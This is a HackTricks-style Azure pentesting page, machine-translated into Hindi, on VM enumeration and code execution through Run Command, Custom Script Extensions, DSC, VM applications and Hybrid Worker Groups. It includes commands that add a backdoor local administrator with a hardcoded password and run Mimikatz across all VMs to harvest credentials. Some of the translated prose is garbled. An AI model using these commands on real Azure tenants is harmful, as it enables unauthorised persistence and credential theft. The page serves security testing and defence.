Az - Virtual Machines & Network

AWS हैकिंग सीखें और प्रैक्टिस करें: HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE) GCP हैकिंग सीखें और प्रैक्टिस करें: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)

हैकट्रिक्स का समर्थन करें

मूल जानकारी

दस्तावेज़ से: एज़्यूर वर्चुअल मशीन एज़्यूर की कई प्रकार की ऑन-डिमांड, स्केलेबल कंप्यूटिंग संसाधनों में से एक हैं। सामान्यत: आप एक वर्चुअल मशीन का चयन करते हैं जब आपको अन्य विकल्पों से अधिक नियंत्रण चाहिए होता है। इस लेख में आपको यह जानकारी मिलेगी कि आपको एक वर्चुअल मशीन बनाने से पहले क्या विचार करना चाहिए, इसे कैसे बनाया जाता है, और इसे कैसे प्रबंधित किया जाता है।

एज़्यूर नेटवर्क जानकारी

एज़्यूर नेटवर्क में विभिन्न एंटिटी और इसे कॉन्फ़िगर करने के तरीके होते हैं। आप विभिन्न एज़्यूर नेटवर्क एंटिटी के संक्षेपित विवरण, उदाहरण और जांच कमांड्स यहाँ पा सकते हैं:

Az - Azure Network

एज़्यूर बास्टियन

एज़्यूर बास्टियन एक सुरक्षित, पूरी तरह से प्रबंधित आरडीपी (रिमोट डेस्कटॉप प्रोटोकॉल) और एसएसएच (सुरक्षित शैल) एक्सेस समाधान प्रदान करता है जो एज़्यूर पोर्टल के माध्यम से एसएसएल के माध्यम से एक्सेस करने की सुविधा प्रदान करता है। यह एक एज़्यूर वर्चुअल नेटवर्क के भीतर एकीकृत है, जिससे आरडीपी और एसएसएच कनेक्टिविटी को वीएम का उपयोग करके निजी आईपी का उपयोग करके किया जा सकता है, जो वीएम एक्सेस के लिए सार्वजनिक आईपी की आवश्यकता को दूर करता है। इससे यह पारंपरिक विधियों के लिए एक सुरक्षित, अधिक सुविधाजनक विकल्प बन जाता है जिसमें वीएम एक्सेस के लिए सार्वजनिक आईपी का निर्धारण और एनएसजी नियम विन्यास शामिल होता है। डेवलपर्स और आईटी कर्मचारी अपने वेब ब्राउज़र का उपयोग करके एज़्यूर पोर्टल से वीएम्स तक सुरक्षित रूप से पहुंच सकते हैं, विकास और परीक्षण परिवेश के लिए प्रक्रिया को सुगम बनाते हैं।

अपने सब्सक्रिप्शन में सभी एज़्यूर बास्टियन होस्ट्स को सूचीत करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VM जांच

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

वीएम में कमांड चलाएं

वीएम में AAD लॉगिन

यह संभव है कि AzureAD के माध्यम से प्रमाणित उपयोगकर्ताओं को एक्सेस देने की अनुमति हो। उदाहरण के लिए लिनक्स वीएम तक पहुंचने की कोशिश करने के लिए: ssh username@azure-corp.com@1.1.1.1 (लॉगिन करने की कोशिश करते समय उपयोग किए गए एज़रकॉर्प के ईमेल का उपयोग करना महत्वपूर्ण है) तो आपको एक त्रुटि मिल सकती है:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

केवल उन निर्देशों का पालन करें जो https://microsoft.com/devicelogin पर जाकर कोड को दर्ज करें, ईमेल और पासवर्ड का उपयोग क्रेडेंशियल के रूप में करें और आप SSH के माध्यम से कनेक्ट कर सकेंगे (यदि उस उपयोगकर्ता के पास इसे करने के लिए पर्याप्त अनुमतियाँ हैं: Virtual Machine Administrator Login या Virtual Machine User Login भूमिका).

रन कमांड

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

कस्टम स्क्रिप्ट एक्सटेंशन चलाएं

एज़्यूर वर्चुअल मशीन (VM) एक्सटेंशन छोटे एप्लिकेशन हैं जो एज़्यूर VMs पर पोस्ट-डिप्लॉयमेंट कॉन्फ़िगरेशन और ऑटोमेशन कार्य प्रदान करते हैं। उदाहरण के लिए, अगर किसी वर्चुअल मशीन को सॉफ़्टवेयर इंस्टॉलेशन, एंटीवायरस सुरक्षा, या उसके अंदर स्क्रिप्ट चलाने की क्षमता की आवश्यकता होती है, तो आप एक VM एक्सटेंशन का उपयोग कर सकते हैं।

इसलिए, अगर आपके पास इसे लिखने का एक्सेस है, तो आप विचारहीन कोड को निषेध कर सकते हैं:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

वांछितकॉन्फ़िगरेशनस्थिति (DSC)

वांछित कॉन्फ़िगरेशन स्थिति (DSC) एक PowerShell टूल है जो Ansible के समान है, जिसका उपयोग कोड के माध्यम से होस्ट को सेट करने के लिए किया जाता है। DSC Azure के साथ एकीकृत होता है, जो विशिष्ट कॉन्फ़िगरेशन फ़ाइलों को अपलोड करने की अनुमति देता है। इन फ़ाइलों को एक सख्त संयंत्र का पालन करना चाहिए। विशेष रूप से, Azure में DSC एक्सटेंशन उन फ़ाइलों से कमांड्स को निष्पादित कर सकता है जो कुछ फ़ॉर्मेटिंग मानदंडों को पूरा करती हैं, भले ही सिंटैक्स DSC मानकों के लिए सही न हो, जैसा कि प्रदान किए गए आकार में दिखाया गया है।

इन कमांड्स को निष्पादित करने का आयाम Publish-AzVMDscConfiguration फ़ंक्शन आज़ पावरशेल में किया जाता है। आवश्यकताएँ एक .PS1 फ़ाइल शामिल हैं जिसमें एक परिभाषित फ़ंक्शन हो और फ़ाइल को एक .zip फ़ाइल में ज़िप किया जाना चाहिए। हालांकि, सिंटैक्स DSC के लिए सही न होने के बावजूद, कोड फिर भी निष्पादित होगा। हालांकि, एक्सटेंशन निष्पादन स्थिति को "विफलता" के रूप में चिह्नित करेगा, और कमांड से कोई आउटपुट दिखाई नहीं देगा क्योंकि स्थिति विफलता संदेश द्वारा अधिलिखित हो जाएगी।

VM एप्लिकेशन परिभाषाएँ

VM एप्लिकेशन परिभाषाएँ एक Azure VM पर संस्करणित एप्लिकेशन का दोहरावी डिप्लॉयमेंट समर्थन करती हैं। यह संसाधन VMs पर एप्लिकेशनों का डिप्लॉयमेंट और अपडेट समर्थन करता है। इसे सेट करने के लिए, कई कदम आवश्यक हैं, जिसमें New-AzGalleryApplication और New-AzGalleryApplicationVersion जैसे कमांड्स शामिल हैं आज़ पावरशेल में।

इस विधि के माध्यम से एप्लिकेशन या कमांडों को निष्पादित करने में "VMAppExtension" शामिल है, जो एक एप्लिकेशन को VM पर लागू किया जाता है तो स्वचालित रूप से स्थापित हो जाता है। एक्सटेंशन निर्दिष्ट URI से फ़ाइल को पुनः प्राप्त करता है और इसे एप्लिकेशन के रूप में नामित करता है, किसी एक्सटेंशन के बिना। फ़ाइल को सही ढंग से निष्पादित करने के लिए, REST API कॉल में "ManageActions" फ़ील्ड को उचित एक्सटेंशन के साथ फ़ाइल का नाम बदलने के लिए कॉन्फ़िगर किया जाना चाहिए। इस विधि की स्थापना, एक बार पूरी होने पर, प्रदान किए गए आकार में दिखाई देगी।

हालांकि, यह निष्पादन की विधि अपेक्षाकृत धीमी है, लगभग 3-4 मिनट लगते हैं एक एप्लिकेशन या कमांड को निष्पादित करने के लिए। इस प्रक्रिया से संबंधित फ़ाइलें विशेष निर्देशिकाओं में संग्रहीत होती हैं (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ एप्लिकेशन कॉपी के लिए और C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ निष्पादन स्थिति के लिए)।

दोनों तकनीक विशेष रूप से अद्वितीय तरीकों से कमांडों को निष्पादित करने और एप्लिकेशनों का डिप्लॉय करने के लिए उपाय प्रदान करते हैं आज़र वातावरण में, प्रत्येक के अपने आवश्यकताओं, कदमों, और विचारों के साथ।

एज़्यूर में हाइब्रिड वर्कर ग्रुप्स (HWGs)

हाइब्रिड वर्कर ग्रुप्स (HWGs) एक विशेषता है जो एज़्यूर में है जो रनबुक्स को निष्पादित करने की अनुमति देती है, जो एक ऑटोमेशन अकाउंट में कॉन्फ़िगर किए गए होते हैं, एक एज़्यूर वर्चुअल मशीन (VM) पर निष्पादित होते हैं जो निर्धारित HWG का हिस्सा है। यह निष्पादन एक एक्सटेंशन के माध्यम से सुविधित होता है जो VM पर इंस्टॉल किया जाता है, जो रनबुक कोड को VM पर डिप्लॉय करता है। इस प्रक्रिया का एक महत्वपूर्ण पहलू यह है कि वास्तविक क्रेडेंशियल्स निष्पादन में एक कारक नहीं है क्योंकि कोड उच्च विशेषाधिकारों के साथ चलता है, विशेष रूप से SYSTEM या रूट के रूप में, जैसा कि प्रदान किए गए आकार में दिखाया गया है।

विंडोज 10 VMs का उपयोग करने वालों के लिए एक महत्वपूर्ण विवरण है कि रनबुक के लिए PowerShell संस्करण को निर्दिष्ट करने की आवश्यकता है। यह PowerShell संस्करण 7.1 की बजाय 5.1 के रूप में सेट किया जाना चाहिए। यह आवश्यकता इस बात से उत्पन्न होती है कि इन VMs पर PowerShell 7.1 डिफ़ॉल्ट रूप से इंस्टॉल नहीं है, जिससे अगर संस्करण 7.1 निर्दिष्ट किया गया है तो स्क्रिप्ट निष्पादन में विफलता हो सकती है।

यह एज़्यूर की एक विशेषता है जो हाइब्रिड वातावरणों पर कार्यों को स्वचालित और प्रबंधित करने के लिए एक मजबूत विधि प्रदान करती है, जो एज़्यूर VMs पर कार्यों को केंद्रीकृत प्रबंधन और निष्पादन की अनुमति देती है।

संदर्भ

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

हैकट्रिक्स का समर्थन करें

Last updated